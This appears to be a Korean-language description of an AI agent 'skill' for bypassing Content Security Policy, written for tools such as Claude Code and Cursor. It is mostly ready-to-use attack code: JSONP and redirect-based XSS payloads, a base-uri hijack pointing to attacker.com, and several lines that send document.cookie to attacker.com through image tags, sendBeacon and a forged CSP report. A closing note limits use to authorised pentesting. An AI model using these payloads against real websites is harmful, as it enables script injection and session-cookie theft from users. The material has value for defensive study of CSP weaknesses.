csp-bypass-advanced은(는) 무엇을 하나요?
고급 Content Security Policy 우회 기법. XSS 또는 데이터 유출이 CSP에 의해 차단될 때, 정책 취약점, 신뢰할 수 있는 엔드포인트 남용, 논스 유출, 또는 CSP가 차단할 수 없는 유출 채널을 찾아야 할 때 사용합니다.
개요
이 스킬은 CSP(Content Security Policy)가 적용된 환경에서 JavaScript 실행이나 데이터 유출을 우회하기 위한 고급 기술을 제공합니다. CSP는 웹 애플리케이션의 중요한 보안 계층이지만, 잘못 구성되거나 특정 기능과 결합될 때 우회될 수 있습니다.
지원 플랫폼
- Claude Code
- Cursor
- Codex
- 기타 AI 에이전트 환경
주요 기법
1. 신뢰할 수 있는 엔드포인트 남용
CSP가 특정 도메인을 신뢰하는 경우, 해당 도메인에서 제공하는 JSONP 엔드포인트나 JavaScript 파일을 악용할 수 있습니다.
// JSONP를 통한 우회 예시
<script src="https://trusted-cdn.example.com/jsonp?callback=alert(1)"></script>
2. 논스 또는 해시 유출
CSP가 nonce나 hash를 사용하는 경우, 이 값이 HTML 주석, 에러 메시지, 또는 헤더를 통해 유출될 수 있습니다.
<!-- 논스가 HTML에 포함된 경우 -->
<script nonce="abc123">console.log('legitimate')</script>
<script>fetch('/steal?nonce=' + document.querySelector('script').nonce)</script>
3. base-uri 조작
base-uri가 제한되지 않은 경우, 상대 경로 스크립트의 해석을 조작할 수 있습니다.
<base href="https://attacker.com/">
<script src="/legitimate-script.js"></script>
4. 리디렉션 기반 우회
신뢰할 수 있는 도메인이 리디렉션을 허용하는 경우, 악성 스크립트를 로드할 수 있습니다.
<script src="https://trusted-site.com/redirect?url=https://attacker.com/evil.js"></script>
5. 데이터 유출 채널
- 이미지 태그:
img태그로 데이터 전송 - 오디오/비디오 태그:
audio또는video태그로 데이터 전송 - Beacon API:
navigator.sendBeacon()사용 (CSP가connect-src를 느슨하게 설정한 경우) - CSS: CSS 선택자와 배경 이미지를 통한 데이터 유출
// 이미지 태그를 통한 데이터 유출
document.body.innerHTML += '<img src="https://attacker.com/exfil?data=' + encodeURIComponent(document.cookie) + '">';
// Beacon API를 통한 데이터 유출
navigator.sendBeacon('https://attacker.com/log', document.cookie);
6. 스크립트 정책 무시 기법
일부 브라우저나 확장 프로그램은 CSP를 무시할 수 있습니다. 예를 들어, 개발자 도구 콘솔에서는 CSP가 적용되지 않습니다.
7. CSP 보고서 엔드포인트 남용
CSP 보고서 엔드포인트가 공개되어 있는 경우, 보고서를 통해 정보를 유출할 수 있습니다.
// CSP 위반을 가장하여 데이터 전송
const violation = {
'csp-report': {
'document-uri': 'https://attacker.com/leak?' + document.cookie,
'violated-directive': 'script-src',
'effective-directive': 'script-src',
'original-policy': '...',
'blocked-uri': 'http://evil.com/',
'source-file': '...',
'line-no': 1,
'column-no': 1
}
};
new Image().src = '/csp-report?report=' + encodeURIComponent(JSON.stringify(violation));
공격 시나리오 예시
시나리오: 정책이 "script-src: www.google.com" 으로 제한된 경우
www.google.com에서 JSONP 엔드포인트를 찾습니다.- JSONP 콜백을 JavaScript 코드로 사용합니다.
- 악성 코드를 실행합니다.
<script src="https://www.google.com/complete/search?client=firefox&q=test&callback=alert(1)"></script>
주의사항
- 이 스킬은 보안 연구 및 합법적인 펜테스팅 목적으로만 사용해야 합니다.
- CSP는 여러 계층의 보안 중 하나일 뿐이며, 완벽한 보호를 제공하지 않습니다.
- 최신 브라우저와 CSP 사양 변경에 따라 일부 기법이 작동하지 않을 수 있습니다.